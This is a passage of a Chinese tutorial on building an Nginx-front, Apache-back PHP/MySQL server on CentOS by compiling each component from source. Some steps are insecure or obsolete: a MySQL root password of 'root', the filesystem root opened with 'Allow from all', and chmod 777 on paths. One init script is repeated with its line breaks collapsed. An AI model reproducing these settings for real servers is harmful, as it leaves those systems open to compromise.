    tar -zxvf suhosin-0.9.32.1.tar.gz
    cd suhosin-0.9.32.1
    /usr/local/php/bin/phpize
    ./configure --with-php-config=/usr/local/php/bin/php-config
    make && make install

继续修改 php.ini 文件

    vi /usr/local/php/php.ini

查找代码：

    extension_dir = "./"

替换为：

    extension_dir = "/usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/"
    extension="suhosin.so"

五、Apache 整合 PHP 以及相关优化：

1）Apache设置：

编辑 httpd.conf ：

    vi /usr/local/apache2/conf/httpd.conf

查找代码：

    DocumentRoot "/usr/local/apache2/htdocs"

修改为：

    DocumentRoot "/home/www"

查找代码：

    <Directory "/usr/local/apache2/htdocs">

修改为：

    <Directory "/home/www">

找到以下代码并根据提示修改

    <Directory />
    Options FollowSymLinks
    AllowOverride All
    Order deny,allow
    Deny from all        //这句改为Allow from all
    </Directory>

找到这一段并修改，以使Apache支持rewrite（伪静态）：

    # AllowOverride controls what directives may be placed in .htaccess files.
    # It can be "All", "None", or any combination of the keywords:
    #   Options FileInfo AuthConfig Limit
    #
    AllowOverride None

更改为

    AllowOverride All

将以下代码注释掉，禁止目录列表：

    Options Indexes FollowSymLinks

找到以下代码，修改用户为 www

    <IfModule !mpm_netware_module>
    <IfModule !mpm_winnt_module>

    User daemon              //改为www
    Group daemon             //改为www

    </IfModule>
    </IfModule>

设置 ServerAdmin you@example.com 改为你自己的mail地址

查找：

    Listen 80

改为

    Listen 81

分别找到以下四段代码，将之前的注释#去除：

    Include conf/extra/httpd-mpm.conf

    Include conf/extra/httpd-info.conf

    Include conf/extra/httpd-vhosts.conf

    Include conf/extra/httpd-default.conf

编辑 Include conf/extra/httpd-mpm.conf 找到如下选项，并改成对应的数值

    <IfModule mpm_prefork_module>
    StartServers          5
    MinSpareServers       5
    MaxSpareServers      10
    MaxClients          150
    MaxRequestsPerChild   1000
    </IfModule>

编辑 conf/extra/httpd-default.conf

    Timeout 60   #与nginx的保持一至
    KeepAlive On
    MaxKeepAliveRequests 1000
    KeepAliveTimeout 5

复制以下文件：

    cp /usr/local/apache2/bin/apachectl /etc/rc.d/init.d/httpd

这样以后Apache 启动、关闭、重启只需要输入以下命令：

    service httpd start/stop/restart

2）整合Apache与php

编辑 /usr/local/apache2/conf/httpd.conf

找到AddType application/x-gzip .gz .tgz在其下加以下内容

    AddType application/x-httpd-php .php
    AddType application/x-httpd-php-source .phps

查找:(设置WEB默认文件)

    DirectoryIndex index.html

改成：

    DirectoryIndex index.php index.htm index.html index.html.var

保存退出

以上设置完毕后，全部保存退出，然后建立一个虚拟主机做测试：

编辑 Include conf/extra/httpd-vhosts.conf

    <VirtualHost *:81>
    ServerAdmin webmaster@example.com
    DocumentRoot "/home/www"
    ServerName 你的IP地址或域名
    ErrorLog "logs/IP-error_log"
    CustomLog "logs/IP-access_log" common
    </VirtualHost>

保存退出，并重启Apache

    service httpd restart  或 /usr/local/apache2/bin/apachectl restart

然后建立一个 index.php文件，放入 /home/www 目录，php文件内容为：

    <?php
    phpinfo();
    ?>

然后在浏览器中输入：IP:81 是否成功显示了？

六、优化MySQL

通过Tcmalloc 优化mysql性能

    # vi /etc/init.d/mysql

添加一行

    export LD_PRELOAD=/usr/local/lib/libtcmalloc.so

重新启动mysql

    service mysql restart

检测是否成功，在SSH中输入：

    lsof -n|grep tcmalloc

出现相关进程即可

七、安装Nginx：

1）安装所需组件：

    cd /usr/local/src
    wget -c ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-8.12.tar.gz
    tar -zxvf pcre-8.12.tar.gz
    cd pcre-8.12/
    ./configure
    make && make install

    cd ..
    rm -rf pcre-8.12
    rm -rf /usr/bin/pcre-config
    cp -a /usr/local/bin/pcre-config /usr/bin/
    rm -rf /usr/lib/libpcre.a
    cp -a /usr/local/lib/libpcre.a /usr/lib/

2）安装 Nginx 0.8.x：

    cd /usr/local/src
    wget -c http://nginx.org/download/nginx-0.8.54.tar.gz
    tar zxvf nginx-0.8.54.tar.gz
    cd nginx-0.8.54
    ./configure --user=www --group=www --prefix=/usr/local/nginx --pid-path=/usr/local/nginx/logs/nginx.pid --error-log-path=/usr/local/nginx/logs/error.log --http-log-path=/usr/local/nginx/logs/access.log --with-http_stub_status_module --with-http_ssl_module --http-client-body-temp-path=/tmp/nginx_client --http-proxy-temp-path=/tmp/nginx_proxy --http-fastcgi-temp-path=/tmp/nginx_fastcgi --with-http_gzip_static_module --with-google_perftools_module --with-ld-opt='-ltcmalloc_minimal' --with-ipv6

    make && make install
    cd ../

编辑 nginx.conf 文件：

    vi /usr/local/nginx/conf/nginx.conf

输入以下内容：

    user  www;
    worker_processes  4;
    pid  logs/nginx.pid;

    google_perftools_profiles /var/tmp/tcmalloc;

    worker_rlimit_nofile 51200;
    events
    {
    use epoll;
    worker_connections 51200;
    }

    http{

    include       mime.types;
    default_type  application/octet-stream;

    access_log  off;
    error_log  /dev/null;

    server_names_hash_bucket_size 128;
    client_header_buffer_size 32k;
    large_client_header_buffers 4 32k;
    client_max_body_size 8m;

    sendfile on;
    tcp_nopush     on;

    keepalive_timeout 120;
    #fastcgi_connect_timeout 300;
    #fastcgi_send_timeout 300;
    #fastcgi_read_timeout 300;
    #fastcgi_buffer_size 64k;
    #fastcgi_buffers 4 64k;
    #fastcgi_busy_buffers_size 128k;
    #fastcgi_temp_file_write_size 128k;
    tcp_nodelay on;

    gzip on;
    gzip_min_length  1k;
    gzip_buffers     4 16k;
    gzip_http_version 1.0;
    gzip_comp_level 2;
    gzip_types       text/plain application/x-javascript text/css application/xml;
    gzip_vary on;

    include vhost/*.conf;

    }

在 /usr/local/nginx/conf 目录 新建proxy.conf 文件，并输入以下内容：

    proxy_redirect          off;
    proxy_set_header        Host $host;
    proxy_set_header        X-Real-IP $remote_addr;
    proxy_set_header        X-Forwarded-For   $proxy_add_x_forwarded_for;
    client_max_body_size    50m;
    client_body_buffer_size 256k;
    proxy_connect_timeout   30;
    proxy_send_timeout      30;
    proxy_read_timeout      60;

    proxy_buffer_size       4k;
    proxy_buffers           4 32k;
    proxy_busy_buffers_size 64k;
    proxy_temp_file_write_size 64k;
    proxy_next_upstream error timeout invalid_header http_500 http_503 http_404;
    proxy_max_temp_file_size 128m;

    #Nginx cache
    client_body_temp_path client_body 1 2;
    proxy_temp_path proxy_temp 1 2;

    #client_body_temp_path      /tmpfs/client_body_temp 1 2;
    #proxy_temp_path            /tmpfs/proxy_temp 1 2;
    #fastcgi_temp_path          /tmpfs/fastcgi_temp 1 2;

建立 Nginx虚拟主机目录，把nginx加入到系统服务：

    mkdir -p /usr/local/nginx/conf/vhost

    mkdir /home/www
    chmod 755 -R /home/www

    chown -R www:www /home/www/
    chown www /usr/local/nginx/conf/
    chmod 777 /etc/init.d/nginx

编辑 /etc/rc.d/init.d/nginx 文件，覆盖为以下代码：

    #! /bin/sh
    ulimit -n 65535
    # Description: Startup script for nginx
    # chkconfig: 2345 55 25
    PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
    DESC="nginx daemon"
    NAME=nginx
    DAEMON=/usr/local/nginx/sbin/$NAME
    CONFIGFILE=/usr/local/nginx/conf/nginx.conf
    PIDFILE=/usr/local/nginx/logs/$NAME.pid
    SCRIPTNAME=/etc/init.d/$NAME
    set -e
    [ -x "$DAEMON" ] || exit 0
    do_start() {
    $DAEMON -c $CONFIGFILE || echo -n "nginx already running"
    }
    do_stop() {
    kill -QUIT `cat $PIDFILE` || echo -n "nginx not running"
    }
    do_reload() {
    kill -HUP `cat $PIDFILE` || echo -n "nginx can't reload"
    }
    case "$1" in
    start)
    echo -n "Starting $DESC: $NAME"
    do_start
    echo "."
    /etc/init.d/httpd start
    ;;
    stop)
    echo -n "Stopping $DESC: $NAME"
    do_stop
    echo "."
    /etc/init.d/httpd stop
    ;;
    reload)
    echo -n "Reloading $DESC configuration..."
    do_reload
    echo "."
    /etc/init.d/httpd restart
    ;;
    restart)
    echo -n "Restarting $DESC: $NAME"
    do_stop
    sleep 1
    do_start
    echo "."
    /etc/init.d/httpd restart
    ;;
    *)
    echo "Usage: $SCRIPTNAME {start|stop|reload|restart}" >&2
    exit 3
    ;;
    esac
    exit 0

    #! /bin/shulimit -n 65535# Description: Startup script for nginx# chkconfig: 2345 55 25
    PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/binDESC="nginx daemon"NAME=nginxDAEMON=/usr/local/nginx/sbin/$NAMECONFIGFILE=/usr/local/nginx/conf/nginx.confPIDFILE=/usr/local/nginx/logs/$NAME.pidSCRIPTNAME=/etc/init.d/$NAME
    set -e[ -x "$DAEMON" ] || exit 0
    do_start() { $DAEMON -c $CONFIGFILE || echo -n "nginx already running"}
    do_stop() { kill -QUIT `cat $PIDFILE` || echo -n "nginx not running"}
    do_reload() { kill -HUP `cat $PIDFILE` || echo -n "nginx can't reload"}
    case "$1" in start) echo -n "Starting $DESC: $NAME" do_start echo "." /etc/init.d/httpd start ;; stop) echo -n "Stopping $DESC: $NAME" do_stop echo "." /etc/init.d/httpd stop ;; reload) echo -n "Reloading $DESC configuration..." do_reload echo "." /etc/init.d/httpd restart ;; restart) echo -n "Restarting $DESC: $NAME" do_stop sleep 1 do_start echo "." /etc/init.d/httpd restart ;; *) echo "Usage: $SCRIPTNAME {start|stop|reload|restart}" >&2 exit 3 ;;esac
    exit 0

在ssh 中輸入：

    chmod a+x /etc/rc.d/init.d/nginx
    chkconfig --add nginx
    chkconfig nginx on

在Nginx虚拟主机目录 /usr/local/nginx/conf/vhost 建立一个虚拟主机：

新建文件：Default.conf 输入以下代码：

    server
    {
    listen  80;
    server_name     你的IP或域名;
    index index.html index.htm index.php;
    root    /home/www/;

    location /nginx {
    stub_status on;
    auth_basic  "NginxStatus";
    # auth_basic_user_file  conf/htpasswd;
    #密码由apache的htpasswd工具来产生
    access_log off;
    }

    location / {
    location ~ .*/.(php|php5)?$ {
    index index.php;
    root /home/www/;
    proxy_pass    http://127.0.0.1:81;
    }

    include proxy.conf;

    if ( !-e $request_filename) {
    proxy_pass  http://127.0.0.1:81;
    }

    location ~* /.(jpg|jpeg|gif|png|swf)$ {
    if (-f $request_filename) {
    root /home/www/;
    expires    30d;
    break;
    }
    }
    location ~* /.(js|css)$ {
    if (-f $request_filename) {
    root /home/www/;
    expires    1d;
    break;
    }
    }
    }

    error_page   500 502 503 504  /50x.html;
    location = /50x.html {
    root   html;
    }

    #如果需要记录把下面的注释去掉
    # log_format access '$http_x_forwarded_for - $remote_user [$time_local] "$request"'
    #     '$status $body_bytes_sent "$http_referer"'
    #     '"$http_user_agent" $remote_addr';
    # access_log    logs/IP_access.log    access;

    }

以上全部保存完毕后，启动 nginx：

    service nginx start

八、为apache安装rpaf模块，该模块用于apache做后端时获取访客真实的IP（建议在LNAMP最后安装。。。之前安装有时会出错）

1）使用apxs安装模块.这里要使用此前apache编译安装后的apxs

    cd /usr/local/src

    wget http://stderr.net/apache/rpaf/download/mod_rpaf-0.6.tar.gz

    tar -zxf mod_rpaf-0.6.tar.gz

    cd mod_rpaf-0.6

    /usr/local/apache2/bin/apxs -i -c -n mod_rpaf-2.0.so mod_rpaf-2.0.c

2）编辑/usr/local/apache/conf/httpd.conf,添加模块参数,查找LoadModule php5_module modules/libphp5.so,在下方添加:

    LoadModule rpaf_module modules/mod_rpaf-2.0.so
    #Mod_rpaf settings
    RPAFenable On
    RPAFproxy_ips 127.0.0.1 [your_ips]
    RPAFsethostname On
    RPAFheader X-Forwarded-For

上面出现的[your_ips]请修改为你本机所监听web服务的ip.多个IP用空格空开.

Apache、Nginx、MySQL 启动/重启/关闭命令：

    service mysql start/stop/restart
    service httpd start/stop/restart
    service nginx start/stop/restart

     

    另一个版本

     

    前言:谈到Linux下的web生产环境,大家就会想到apache这个开源服务器软件.apache可以整合大多数应用,比如jsp,php,cgi,python等等,但是apache过于臃肿以及对静态文件响应过于缓慢让很多使用者感到头疼.而nginx作为新崛起的服务器软件,在很多方面超出apache,定位也很明确:高性能的 HTTP 和反向代理服务器.因而,本篇主要讲的是nginx作为前端,apache作为后端的应用环境搭建过程.

    为什么不使用nginx+php(fastcgi)作为生产环境?

        php(fastcgi)不够稳定,容易出现50x错误,在生成相对复杂的页面时没有优势,长时间占用也会使php-cgi进程死去.
        在安全性,多用户多站点的权限问题比较严重.php(fastcgi)在应对多用户多站点往往捉襟见肘,不易于实施.
        整合其他语言,apache表现得游刃有余.资源利用恰到好处.

    为什么采用nginx做前端,apache作为后端的方案?nginx在处理静态内容上较apache是几倍或几十倍的差异,因而放在前面过滤静态内容是最为恰当的.同时nginx也是一个负载均衡器,低资源消耗,高性能转发是它的特点.经过nginx在前面的过滤,后端的apache需要处理的内容相对就比较少了.只需负责处理动态内容就可以了.在性能与稳定性的权衡下,使用nginx+apache搭配会让它们在各自擅长的领域展现自身的价值.

    本教程以CentOS 5.4 32bit为环境.其他Linux发行版本暂未测试.nginx,php,apache,mysql,pureftpd均为最新稳定版.

    获取操作系统源更新.

        yum update
        yum -y install gcc gcc-c++ bison patch unzip mlocate flex wget automake autoconf gd cpp gettext readline-devel libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel libxml2 libxml2-devel zlib zlib-devel glibc glibc-devel glib2 glib2-devel bzip2 bzip2-devel ncurses ncurses-devel curl curl-devel e2fsprogs e2fsprogs-devel libidn libidn-devel openldap openldap-devel openldap-clients openldap-servers nss_ldap expat-devel libtool libtool-ltdl-devel

    如果系统默认安装了apache,请先卸载.执行:

        yum remove httpd

    下载最新稳定版的程序源码包,以下都是到官方网站或sourceforge下载的源码包.

        cd /usr/local/src
        wget http://dev.mysql.com/get/Downloads/MySQL-5.1/mysql-5.1.45.tar.gz/from/http://mysql.he.net/
        wget http://www.apache.org/dist/httpd/httpd-2.2.15.tar.gz
        wget http://stderr.net/apache/rpaf/download/mod_rpaf-0.6.tar.gz
        wget http://ftp.gnu.org/pub/gnu/libiconv/libiconv-1.13.1.tar.gz
        wget http://sourceforge.net/projects/mcrypt/files/Libmcrypt/2.5.8/libmcrypt-2.5.8.tar.bz2/download
        wget http://sourceforge.net/projects/mcrypt/files/MCrypt/2.6.8/mcrypt-2.6.8.tar.gz/download
        wget http://sourceforge.net/projects/mhash/files/mhash/0.9.9.9/mhash-0.9.9.9.tar.bz2/download
        wget http://www.php.net/get/php-5.2.13.tar.gz/from/this/mirror
        wget http://www.lancs.ac.uk/~steveb/patches/php-mail-header-patch/php5-mail-header.patch
        wget http://pecl.php.net/get/memcache-2.2.5.tgz
        wget http://bart.eaccelerator.net/source/0.9.6/eaccelerator-0.9.6.tar.bz2
        wget ftp://ftp.imagemagick.org/pub/ImageMagick/ImageMagick.tar.gz
        wget http://pecl.php.net/get/imagick-2.3.0.tgz
        wget http://download.suhosin.org/suhosin-0.9.29.tgz
        wget http://downloads2.ioncube.com/loader_downloads/ioncube_loaders_lin_x86.tar.gz
        wget http://downloads.zend.com/optimizer/3.3.9/ZendOptimizer-3.3.9-linux-glibc23-i386.tar.gz
        wget http://monkey.org/~provos/libevent-1.4.13-stable.tar.gz
        wget http://memcached.googlecode.com/files/memcached-1.4.4.tar.gz
        wget http://sourceforge.net/projects/pcre/files/pcre/8.01/pcre-8.01.tar.gz/download
        wget http://nginx.org/download/nginx-0.7.65.tar.gz
        wget http://download.pureftpd.org/pub/pure-ftpd/releases/pure-ftpd-1.0.28.tar.gz

    一.安装Mysql.安装最新稳定版5.1.45版本,并没有采用最新开发版.

        groupadd mysql -g 27
        useradd mysql -u 27 -g 27 -c "MySQL Server" -d /var/lib/mysql -m
        cd /usr/local/src
        tar -zxf mysql-5.1.45.tar.gz
        cd mysql-5.1.45
        ./configure --prefix=/usr/local/mysql --localstatedir=/var/lib/mysql --with-unix-socket-path=/var/lib/mysql/mysql.sock --with-mysqld-user=mysql --enable-assembler --enable-thread-safe-client --with-extra-charsets=all --with-big-tables --with-readline --with-ssl --with-embedded-server --enable-local-infile --with-plugins=partition,innodb_plugin,myisam,myisammrg
        make && make install
        cd ../

        cp /usr/local/mysql/share/mysql/my-medium.cnf /etc/my.cnf
        /usr/local/mysql/bin/mysql_install_db --user=mysql
        chown -R mysql.mysql /var/lib/mysql
        chgrp -R mysql /usr/local/mysql/.
        cp /usr/local/mysql/share/mysql/mysql.server /etc/init.d/mysql
        chmod u+x /etc/init.d/mysql
        chkconfig --level 345 mysql on
        echo "/usr/local/mysql/lib/mysql" >> /etc/ld.so.conf
        echo "/usr/local/lib" >>/etc/ld.so.conf
        ldconfig
        ln -s /usr/local/mysql/lib/mysql /usr/lib/mysql
        ln -s /usr/local/mysql/include/mysql /usr/include/mysql
        ln -s /usr/local/mysql/bin/mysql_config /usr/bin/mysql_config
        service mysql start
        /usr/local/mysql/bin/mysqladmin -u root password root
        service mysql restart
        service mysql stop

    二.编译安装apache(httpd).apache的执行用户为nobody.

        cd /usr/local/src
        tar -zxf httpd-2.2.15.tar.gz
        cd httpd-2.2.15
        ./configure --prefix=/usr/local/apache --enable-headers --enable-mime-magic --enable-proxy --enable-rewrite --enable-ssl --enable-suexec  --disable-userdir --with-included-apr --with-mpm=prefork --with-ssl=/usr --with-suexec-caller=nobody --with-suexec-docroot=/ --with-suexec-gidmin=100 --with-suexec-logfile=/usr/local/apache/logs/suexec_log --with-suexec-uidmin=100 --with-suexec-userdir=public_html
        make
        make install
        mkdir /usr/local/apache/domlogs
        cp /usr/local/apache/bin/apachectl /etc/init.d/httpd

    1.编辑/etc/init.d/httpd,在首行#!/bin/sh下添加:

        # Startup script for the Apache Web Server
        #
        # chkconfig: - 85 15
        # description: Apache is a World Wide Web server.  It is used to serve /
        #              HTML files and CGI.
        # processname: httpd
        # pidfile: /usr/local/apache/logs/httpd.pid
        # config: /usr/local/apache/conf/httpd.conf

        ulimit -n 1024
        ulimit -n 4096
        ulimit -n 8192
        ulimit -n 16384
        ulimit -n 32768

    保存退出.

    2.配置apache配置参数文件httpd.conf,位于/usr/local/apache/conf/目录

        cd /usr/local/apache/conf/
        mv httpd.conf httpd.conf.bak
        mkdir vhosts
        vi httpd.conf

    输入以下内容:

    PidFile logs/httpd.pid
    LockFile logs/accept.lock
    ServerRoot "/usr/local/apache"
    Listen 0.0.0.0:81
    User nobody
    Group nobody
    ServerAdmin admin@evlit.com
    ServerName host.evlit.com

    Timeout 300
    KeepAlive Off
    MaxKeepAliveRequests 100
    KeepAliveTimeout 5
    UseCanonicalName Off
    AccessFileName .htaccess
    TraceEnable Off
    ServerTokens ProductOnly
    FileETag None
    ServerSignature Off
    HostnameLookups Off

    # LoadModule perl_module modules/mod_perl.so

    DocumentRoot "/usr/local/apache/htdocs"
    <Directory "/">
     Options ExecCGI FollowSymLinks Includes IncludesNOEXEC -Indexes -MultiViews SymLinksIfOwnerMatch
     Order allow,deny
     Allow from all
     AllowOverride All
    </Directory>

    <Directory "/usr/local/apache/htdocs">
     Options Includes -Indexes FollowSymLinks
     AllowOverride None
     Order allow,deny
     Allow from all
    </Directory>

    DefaultType text/plain
    RewriteEngine on
    AddType text/html .shtml
    AddHandler cgi-script .cgi .pl .plx .ppl .perl
    AddHandler server-parsed .shtml
    <IfModule mime_module>
        TypesConfig conf/mime.types
        AddType application/perl .pl .plx .ppl .perl
        AddType application/x-img .img
        AddType application/x-httpd-php .php .php3 .php4 .php5 .php6
        AddType application/x-httpd-php-source .phps
        AddType application/cgi .cgi
        AddType text/x-sql .sql
        AddType text/x-log .log
        AddType text/x-config .cnf conf
        AddType text/x-registry .reg
        AddType application/x-compress .Z
        AddType application/x-gzip .gz .tgz
        AddType text/html .shtml
        AddType application/x-tar .tgz
        AddType application/rar .rar
        AddType application/x-compressed .rar
        AddType application/x-rar .rar
        AddType application/x-rar-compressed .rar
        AddType text/vnd.wap.wml .wml
        AddType image/vnd.wap.wbmp .wbmp
        AddType text/vnd.wap.wmlscript .wmls
        AddType application/vnd.wap.wmlc .wmlc
        AddType application/vnd.wap.wmlscriptc .wmlsc
    </IfModule>

    <IfModule dir_module>
     DirectoryIndex index.html index.htm index.shtml index.php index.perl index.pl index.cgi
    </IfModule>

    <Files ~ "^error_log$">
     Order allow,deny
     Deny from all

     Satisfy All
    </Files>

    <FilesMatch "^/.ht">
     Order allow,deny
     Deny from all
     Satisfy All
    </FilesMatch>

    ErrorLog "logs/error_log"
    LogLevel warn

    <IfModule log_config_module>
     LogFormat "%h %l %u %t /"%r/" %>s %b /"%{Referer}i/" /"%{User-Agent}i/"" combined
     LogFormat "%h %l %u %t /"%r/" %>s %b" common

     <IfModule logio_module>
     LogFormat "%h %l %u %t /"%r/" %>s %b /"%{Referer}i/" /"%{User-Agent}i/" %I %O" combinedio
     </IfModule>
     CustomLog "logs/access_log" common
    </IfModule>

    <IfModule alias_module>
     ScriptAlias /cgi-bin/ "/usr/local/apache/cgi-bin/"
    </IfModule>

    <Directory "/usr/local/apache/cgi-bin">
     AllowOverride None
     Options None
     Order allow,deny
     Allow from all
    </Directory>

    <IfModule mpm_prefork_module>
     StartServers          3
     MinSpareServers       3
     MaxSpareServers       5
     MaxClients          150
     MaxRequestsPerChild   1024
    </IfModule>

    <IfModule mod_headers.c>
    <FilesMatch "/.(html|htm|shtml)$">
    Header set Cache-Control "max-age=3600, must-revalidate"
    </FilesMatch>
    </IfModule>

    ReadmeName README.html
    HeaderName HEADER.html

    IndexIgnore .??* *~ *# HEADER* README* RCS CVS *,v *,t

    Include conf/extra/httpd-languages.conf

    <Location /server-status>
     SetHandler server-status
     Order deny,allow
     Deny from all
     Allow from 127.0.0.1
    </Location>
    ExtendedStatus On

    <Location /server-info>
     SetHandler server-info
     Order deny,allow
     Deny from all
     Allow from 127.0.0.1
    </Location>

    <IfModule ssl_module>
    Listen 0.0.0.0:443
    AddType application/x-x509-ca-cert .crt
    AddType application/x-pkcs7-crl .crl
    SSLCipherSuite ALL:!ADH:+HIGH:+MEDIUM:-LOW:-SSLv2:-EXP
    SSLPassPhraseDialog  builtin
    SSLSessionCache         dbm:/usr/local/apache/logs/ssl_scache
    SSLSessionCacheTimeout  300
    SSLMutex  file:/usr/local/apache/logs/ssl_mutex
    SSLRandomSeed startup builtin
    SSLRandomSeed connect builtin
    </IfModule>

    #Vhosts
    NameVirtualHost 127.0.0.1:81
    NameVirtualHost *

    <VirtualHost 127.0.0.1:81 *>
     ServerName host.evlit.com
     DocumentRoot /var/www/html
     ServerAdmin admin@evlit.com
    </VirtualHost>

    Include conf/vhosts/*

    上述虚拟主机配置中出现的127.0.0.1请改为你本机公网IP.
    三.编译安装php(mod_php)

    1.编译安装相关支持库

        cd /usr/local/src
        tar -zxf libiconv-1.13.1.tar.gz
        cd libiconv-1.13.1/
        ./configure
        make
        make install

        cd /usr/local/src
        tar -jxf libmcrypt-2.5.8.tar.bz2
        cd libmcrypt-2.5.8/
        ./configure
        make
        make install
        /sbin/ldconfig
        cd libltdl/
        ./configure --enable-ltdl-install
        make
        make install

        cd /usr/local/src
        tar -jxf mhash-0.9.9.9.tar.bz2
        cd mhash-0.9.9.9/
        ./configure
        make
        make install

        ln -s /usr/local/lib/libmcrypt.la /usr/lib/libmcrypt.la
        ln -s /usr/local/lib/libmcrypt.so /usr/lib/libmcrypt.so
        ln -s /usr/local/lib/libmcrypt.so.4 /usr/lib/libmcrypt.so.4
        ln -s /usr/local/lib/libmcrypt.so.4.4.8 /usr/lib/libmcrypt.so.4.4.8
        ln -s /usr/local/lib/libmhash.a /usr/lib/libmhash.a
        ln -s /usr/local/lib/libmhash.la /usr/lib/libmhash.la
        ln -s /usr/local/lib/libmhash.so /usr/lib/libmhash.so
        ln -s /usr/local/lib/libmhash.so.2 /usr/lib/libmhash.so.2
        ln -s /usr/local/lib/libmhash.so.2.0.1 /usr/lib/libmhash.so.2.0.1

        cd /usr/local/src
        tar -zxf mcrypt-2.6.8.tar.gz
        cd mcrypt-2.6.8/
        /sbin/ldconfig
        ./configure
        make
        make install

    2.编译php,这里为php打入补丁.有助于防止邮件发送被滥用(多用户)以及在邮件中提供有价值的信息.补丁介绍信息请访问:http://www.lancs.ac.uk/~steveb/patches/php-mail-header-patch/

        cd /usr/local/src
        tar -zxf php-5.2.13.tar.gz
        patch -d php-5.2.13 -p1 < php5-mail-header.patch
        cd php-5.2.13
        ./configure --prefix=/usr/local --with-config-file-path=/etc --with-apxs2=/usr/local/apache/bin/apxs --enable-bcmath --enable-calendar --enable-exif --enable-ftp --enable-gd-native-ttf --enable-libxml --enable-magic-quotes --enable-mbstring --enable-pdo=shared --enable-soap --enable-sockets --enable-zip --with-bz2 --with-curl --with-curlwrappers --with-freetype-dir --with-gd --with-gettext --with-jpeg-dir --with-kerberos --with-libexpat-dir=/usr --with-libxml-dir=/usr --with-mcrypt=/usr --with-mhash=/usr --with-mysql=/usr --with-mysql-sock=/var/lib/mysql/mysql.sock --with-mysqli=/usr/bin/mysql_config --with-openssl=/usr --with-openssl-dir=/usr --with-pdo-mysql=shared --with-pdo-sqlite=shared --with-png-dir=/usr --with-sqlite=shared --with-ttf --with-xmlrpc --with-zlib -with-zlib-dir=/usr
        make ZEND_EXTRA_LIBS='-liconv'
        make install
        cp php.ini-dist /etc/php.ini

    3.安装php扩展模块

        cd /usr/local/src
        tar -zxf memcache-2.2.5.tgz
        cd memcache-2.2.5/
        phpize
        ./configure --with-php-config=/usr/local/bin/php-config --with-zlib-dir --enable-memcache
        make
        make install

        cd /usr/local/src
        tar -jxf eaccelerator-0.9.6.tar.bz2
        cd eaccelerator-0.9.6/
        phpize
        ./configure --enable-eaccelerator=shared --with-php-config=/usr/local/bin/php-config
        make
        make install
        mkdir -p /tmp/eaccelerator
        chmod 777 /tmp/eaccelerator
        echo "mkdir -p /tmp/eaccelerator" >> /etc/rc.local
        echo "chmod 777 /tmp/eaccelerator" >> /etc/rc.local

        cd /usr/local/src
        tar -zxf ImageMagick.tar.gz
        cd ImageMagick-*
        ./configure
        make
        make install

        cd /usr/local/src
        tar -zxf imagick-2.3.0.tgz
        cd imagick-2.3.0/
        phpize
        ./configure --with-php-config=/usr/local/bin/php-config
        make
        make install

        cd /usr/local/src
        tar -zxf suhosin-0.9.29.tgz
        cd suhosin-0.9.29
        phpize
        ./configure
        make
        make install

        cd /usr/local/src
        tar -zxf ioncube_loaders_lin_x86.tar.gz
        cd ioncube
        mkdir /usr/local/ioncube
        mv ioncube_loader_lin_5.2.so /usr/local/ioncube/

        cd /usr/local/src
        tar -zxf ZendOptimizer-3.3.9-linux-glibc23-i386.tar.gz
        mkdir -p /usr/local/Zend/lib/Optimizer-3.3.9/php-5.2.x
        cp ZendOptimizer-3.3.9-linux-glibc23-i386/data/5_2_x_comp/ZendOptimizer.so /usr/local/Zend/lib/Optimizer-3.3.9/php-5.2.x/ZendOptimizer.so

    3.1.修改php.ini.

    查找/etc/php.ini中的extension_dir = "./".将其修改为extension_dir = "/usr/local/lib/php/extensions/no-debug-non-zts-20060613/"
    查找;include_path = ".:/php/includes",删除前面的分号,并修改为include_path = ".:/usr/lib/php:/usr/local/lib/php"
    跳到最后一行,然后添加以下内容:

        extension = "memcache.so"
        extension = "pdo.so"
        extension = "pdo_mysql.so"
        extension = "pdo_sqlite.so"
        extension = "sqlite.so"
        extension = "eaccelerator.so"
        eaccelerator.shm_size = 32
        eaccelerator.cache_dir = "/tmp/eaccelerator"
        eaccelerator.enable = 1
        eaccelerator.optimizer = 0
        eaccelerator.debug = 0
        eaccelerator.name_space = ""
        eaccelerator.check_mtime = 1
        eaccelerator.filter = ""
        eaccelerator.shm_max = 0
        eaccelerator.shm_ttl = 3600
        eaccelerator.shm_prune_period = 3600
        eaccelerator.shm_only = 0
        eaccelerator.compress = 0
        eaccelerator.compress_level = 9
        eaccelerator.keys = shm
        eaccelerator.sessions = shm
        eaccelerator.content = shm

        zend_extension = "/usr/local/ioncube/ioncube_loader_lin_5.2.so"
        zend_extension = "/usr/local/Zend/lib/Optimizer-3.3.9/php-5.2.x/ZendOptimizer.so"

    4,安装Memcached(可选)

        cd /usr/local/src
        tar -xzf libevent-1.4.13-stable.tar.gz
        cd libevent-1.4.13-stable
        ./configure
        make
        make install
        echo "/usr/local/lib/" > /etc/ld.so.conf.d/libevent.conf
        ldconfig -v

        cd /usr/local/src
        tar -xzf memcached-1.4.4.tar.gz
        cd memcached-1.4.4
        ./configure
        make
        make install

    基本使用方法:

    启动:/usr/local/bin/memcached -d -m 64 -p 11211 -u nobody -l localhost
    关闭:killall -9 memcached
    四.安装nginx

    1.安装pcre库

        cd /usr/local/src
        tar -zxf pcre-8.01.tar.gz
        cd pcre-8.01
        ./configure
        make
        make install

    2.安装nginx

        cd /usr/local/src
        tar -zxf nginx-0.7.65.tar.gz
        cd nginx-0.7.65
        ./configure --user=nobody --group=nobody --prefix=/usr/local/nginx --pid-path=/usr/local/nginx/logs/nginx.pid --error-log-path=/usr/local/nginx/logs/error.log --http-log-path=/usr/local/nginx/logs/access.log --http-client-body-temp-path=/tmp/nginx_client --http-proxy-temp-path=/tmp/nginx_proxy --http-fastcgi-temp-path=/tmp/nginx_fastcgi --with-http_stub_status_module
        make
        make install

    2.1.添加init控制脚本

    #! /bin/sh
    ulimit -n 65535
    # Description: Startup script for nginx
    # chkconfig: 2345 55 25

    PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
    DESC="nginx daemon"
    NAME=nginx
    DAEMON=/usr/local/nginx/sbin/$NAME
    CONFIGFILE=/usr/local/nginx/conf/nginx.conf
    PIDFILE=/usr/local/nginx/logs/$NAME.pid
    SCRIPTNAME=/etc/init.d/$NAME

    set -e
    [ -x "$DAEMON" ] || exit 0

    do_start() {
     $DAEMON -c $CONFIGFILE || echo -n "nginx already running"
    }

    do_stop() {
